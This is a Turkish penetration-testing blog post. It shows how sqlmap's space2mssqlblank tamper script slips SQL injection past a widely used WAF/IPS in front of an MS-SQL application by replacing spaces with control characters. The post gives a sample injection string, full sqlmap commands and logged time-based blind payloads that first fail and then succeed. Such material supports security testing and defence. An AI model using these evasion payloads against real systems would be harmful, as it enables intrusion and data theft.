1 Haziran 2013

---------
Bu yazı Türkiye'de en fazla tercih edilen Ağ Tabanlı Atak Engelleme Sisteminin koruduğu bir web uygulamasına karşı gerçekleştirilen atlatma senaryosunu içermektedir.  Ürün tüm imzaları aktif ve güncel kural veritabanına sahip durumdayken denenmiştir.
-----
Veritabanı olarak olarak MS-SQL server kullanan ve önünde WAF/IPS cihazı bulunan bir web uygulamasındaki sql injection açıklığı,  sqlmap tamper script kullanılarak ve güvenlik cihazları atlatılarak istismar edilebilir.

Bir çok WAF/IPS güvenlik cihazının çalışma mantığında belirli kelime öbeklerini girdide bulmak için boşluk karakteri referans alınır. Örneğin union ve select kelimelerini sevmeyen bir IPS cihazı bu kelimeleri girdide ararken bu kelimelerin başında ve sonunda boşluk karakteri arar veya boşluk karakterlerinin önünü ve sonunu okur bu kelimeler ile eşleşme olursa ilgili imza gereğini gerçekleştirir.

Bu mantık ile çalışan bir IPS cihazı kullanıcıdan aldığı aşağıdaki gibi bir girdiyi bloklar;
admin';union select null,null,ad from users--

Fakat boşluk karakteri yerine rastgele bir ifade(AA) yazarsak aşağıdaki gibi bu sql sorgusu IPS cihazına takılmayacaktır;
admin;'unionAAselectAAnull,null,adAAfromAAusers--

Not:AA test amaçlı verilmiştir backend dbms üzerinde çalışacak bir ifade degildir. AA yerine backend dbms uygulamasında boşluk için alternatif olacak bir değer girilmelidir.

Şimdi bu durumu veritabanı olarak Mssql server kullanan ve önünde IPS cihazı bulunan bir web uygulamasındaki sql injection açıklığını istismar etmede nasıl kullanılabileceğine değinelim.

Mssql üzerinde boşluk karakterine alternatif olabilecek  ifadeleri bir diziye atarak her seferinde bu diziden random bir değeri boşluk ifadelerinin olduğu yerlere yerleştiren ve sorguyu bu şekilde hedefe gönderen space2mssqlblank.py sqlmap tamper scriptini kullanacağız.

Mssql üzerinde boşluk karakterine alternatif olan diğer değerler aşağıdaki gibidir;
%01, %02, %03, %04, %05, %06, %07, %08, %09, %0A, %0B, %0C, %0D, %0E, %0F

Bu değerler bir dizi içerisinde tutulup her sql sorgusu içerisindeki boşluk değerlerine rastgele olarak atanıp sorgular backend dbms sistemine gönderilir. Bu şekilde aradaki güvenlik cihazları kolaylıkla bypass edilebilmektedir.

IPS sistemi ile korunan bir web uygulamasındaki sql injection açıklığını sqlmap ile istismar ederken ilgili script kullanılmadığındaki durum aşağıdaki gibidir;

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-db --keep-alive --dbms "mssql" --technique T -v 3
...
...
[22:46:16] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:46:16] [INFO] checking if the injection point on POST parameter 'username' is a false positive
[22:46:16] [PAYLOAD] admin) IF((19+18)=37) WAITFOR DELAY '0:0:5'--
[22:46:46] [PAYLOAD] admin) IF(19=18) WAITFOR DELAY '0:0:5'--
[22:47:18] [PAYLOAD] admin) IF(18>(66+19)) WAITFOR DELAY '0:0:5'--
[22:47:48] [WARNING] false positive or unexploitable injection point detected
[22:47:48] [WARNING] POST parameter 'username' is not injectable

...
...
Yukarıdaki gibi boşluk karakterleri olduğu gibi gönderilen sorgular IPS  tarafından geçirilmediğinden dolayı sqlmap açıklığı doğrulayamamış yada istismar edilemeyecek bir açıklık olarak değerlendirmiştir.

Şimdi ise boşluk karakterleri yerine MS Sql serverdaki alternatif değerlerini rastgele kullanan tamper scripti sqlmap aracına verip sonucu görelim;

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-db --keep-alive --dbms "mssql" --technique T --tamper "space2mssqlblank.py" -v 3 --flush-session

[22:58:00] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:58:00] [INFO] checking if the injection point on POST parameter 'username' is a false positive
[22:58:00] [PAYLOAD] admin'%0FIF((62+76)=138)%0AWAITFOR%05DELAY%0B'0:0:5'--
[22:58:05] [PAYLOAD] admin'%0AIF(62=76)%08WAITFOR%03DELAY%04'0:0:5'--
[22:58:06] [PAYLOAD] admin'%0EIF(62>(63+76))%04WAITFOR%04DELAY%02'0:0:5'--
[22:58:06] [PAYLOAD] admin'%0EIF((63+62)>201)%06WAITFOR%0DDELAY%0C'0:0:5'--
[22:58:07] [PAYLOAD] admin'%0AIF(138=(62+76))%0EWAITFOR%03DELAY%05'0:0:5'--

POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Yukarıdaki gibi hedefe gönderilen payloadlarda, boşluk karakterinin Mssql serverdaki alternatif değerleri random olarak verilerek IPS cihazı atlatılmıştır. Bir çok WAF/IPS imzaları bu mantıkla çalıştığı için belirtilen yöntemle kolaylıkla bypass edilebilirler.
  

0 yorum:

Yorum Gönder

Her türlü eleştiri,yorum,ekleme ve düzeltmeye yönelik fikirlerinizi paylaşabilirsiniz.Hakaret içeren yorumlar filtrelenmektedir.

Makalelerin kötüye kullanım kullanıcının sorumluluğundadır. | networkpentest.net. Blogger tarafından desteklenmektedir.